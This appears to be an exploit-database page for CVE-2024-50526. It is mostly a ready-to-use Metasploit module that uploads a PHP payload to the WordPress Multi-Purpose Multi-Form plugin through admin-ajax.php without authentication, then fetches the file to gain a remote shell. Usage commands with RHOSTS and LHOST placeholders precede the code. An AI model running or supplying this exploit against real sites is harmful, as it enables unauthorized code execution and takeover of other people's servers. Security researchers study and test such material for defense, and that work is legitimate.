Share
## https://sploitus.com/exploit?id=PACKETSTORM:216356
=============================================================================================================================================
| # Title : WordPress MPMF Plugin 1.0.2 Unauthenticated File Upload Remote Code Execution |
| # Author : indoushka |
| # Tested on : windows 11 Fr(Pro) / browser : Mozilla firefox 147.0.1 (64 bits) |
| # Vendor : https://wordpress.org/plugins/ |
=============================================================================================================================================
[+] References : https://packetstorm.news/files/id/214232/ & CVE-2024-50526
[+] Summary : This Metasploit module exploits an unauthenticated file upload vulnerability in the WordPress Multi‑Purpose Multi‑Form (MPMF) plugin.
By abusing a vulnerable AJAX action exposed via admin-ajax.php, an attacker can upload a crafted PHP file and trigger its execution to obtain remote code execution.
Due to variations in plugin versions and upload paths, the module follows a conservative and transparent exploitation approach.
It does not rely on unreliable automatic detection or strict success indicators. Instead, it prioritizes correct handler ordering to avoid race conditions,
supports blind triggering of the uploaded payload, and performs best‑effort cleanup where possible.
[+] Usage :
use exploit/multi/http/wp_mpmf_rce
set RHOSTS <TARGET_IP>
set LHOST <YOUR_IP>
set TARGETURI /
exploit
[+] POC :
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit::Remote
Rank = AverageRanking
include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::FileDropper
def initialize(info = {})
super(
update_info(
info,
'Name' => 'WordPress MPMF Plugin Unauthenticated RCE',
'Description' => %q{
This module exploits an unauthenticated file upload vulnerability in the
Multi-Purpose Multi-Form (MPMF) WordPress plugin. It uploads a PHP payload
via admin-ajax.php and executes it to gain a shell. The module handles
logic sequencing and session persistence automatically.
},
'Author' => ['indoushka'],
'License' => MSF_LICENSE,
'References' => [['CVE', '2024-50526']],
'Privileged' => false,
'Platform' => 'php',
'Arch' => ARCH_PHP,
'Payload' => {
'Compat' => { 'PayloadType' => 'php' },
'BadChars' => "\x00"
},
'Targets' => [['WordPress / PHP', {}]],
'DisclosureDate' => '2024-10-24',
'DefaultTarget' => 0,
'Notes' => {
'Stability' => [CRASH_SAFE],
'Reliability' => [UNRELIABLE_SESSION],
'SideEffects' => [ARTIFACTS_ON_DISK]
}
)
)
register_options([
OptString.new('TARGETURI', [true, 'The base path to WordPress', '/']),
OptString.new('AJAX_ACTION', [true, 'The AJAX action handled by the plugin', 'send_data']),
OptString.new('FORM_ID', [true, 'The target mpmf_form_id', '1']),
OptString.new('WP_UPLOAD_DIR', [true, 'Relative upload path', 'wp-content/uploads/mpmf_uploads'])
])
end
def check
CheckCode::Unknown('Manual verification required: check plugin directory and AJAX endpoint response.')
end
def exploit
filename = "#{Rex::Text.rand_text_alpha_lower(8)}.php"
php_payload = "<?php #{payload.encoded} ?>"
clean_upload_dir = datastore['WP_UPLOAD_DIR'].sub(%r{^/}, '').sub(%r{/$}, '')
data = Rex::MIME::Message.new
data.add_part(datastore['AJAX_ACTION'], nil, nil, 'form-data; name="action"')
data.add_part(datastore['FORM_ID'], nil, nil, 'form-data; name="mpmf_form_id"')
data.add_part('1', nil, nil, 'form-data; name="count_files"')
data.add_part('1', nil, nil, 'form-data; name="count"')
data.add_part(php_payload, 'application/octet-stream', 'binary', "form-data; name=\"file1\"; filename=\"#{filename}\"")
print_status("Uploading payload #{filename}...")
res = send_request_cgi({
'method' => 'POST',
'uri' => normalize_uri(target_uri.path, 'wp-admin', 'admin-ajax.php'),
'ctype' => "multipart/form-data; boundary=#{data.bound}",
'data' => data.to_s
})
fail_with(Failure::UnexpectedReply, "Upload failed (HTTP Code: #{res&.code})") unless res&.code == 200
register_file_for_cleanup(File.join(clean_upload_dir, filename))
upload_uri = normalize_uri(target_uri.path, clean_upload_dir, filename)
print_status("Starting handler and waiting for session...")
handler
print_status("Triggering payload (Blind) via: #{upload_uri}")
send_request_cgi({
'method' => 'GET',
'uri' => upload_uri
}, 5)
end
end
Greetings to :============================================================
jericho * Larry W. Cashdollar * r00t * Malvuln (John Page aka hyp3rlinx)*|
==========================================================================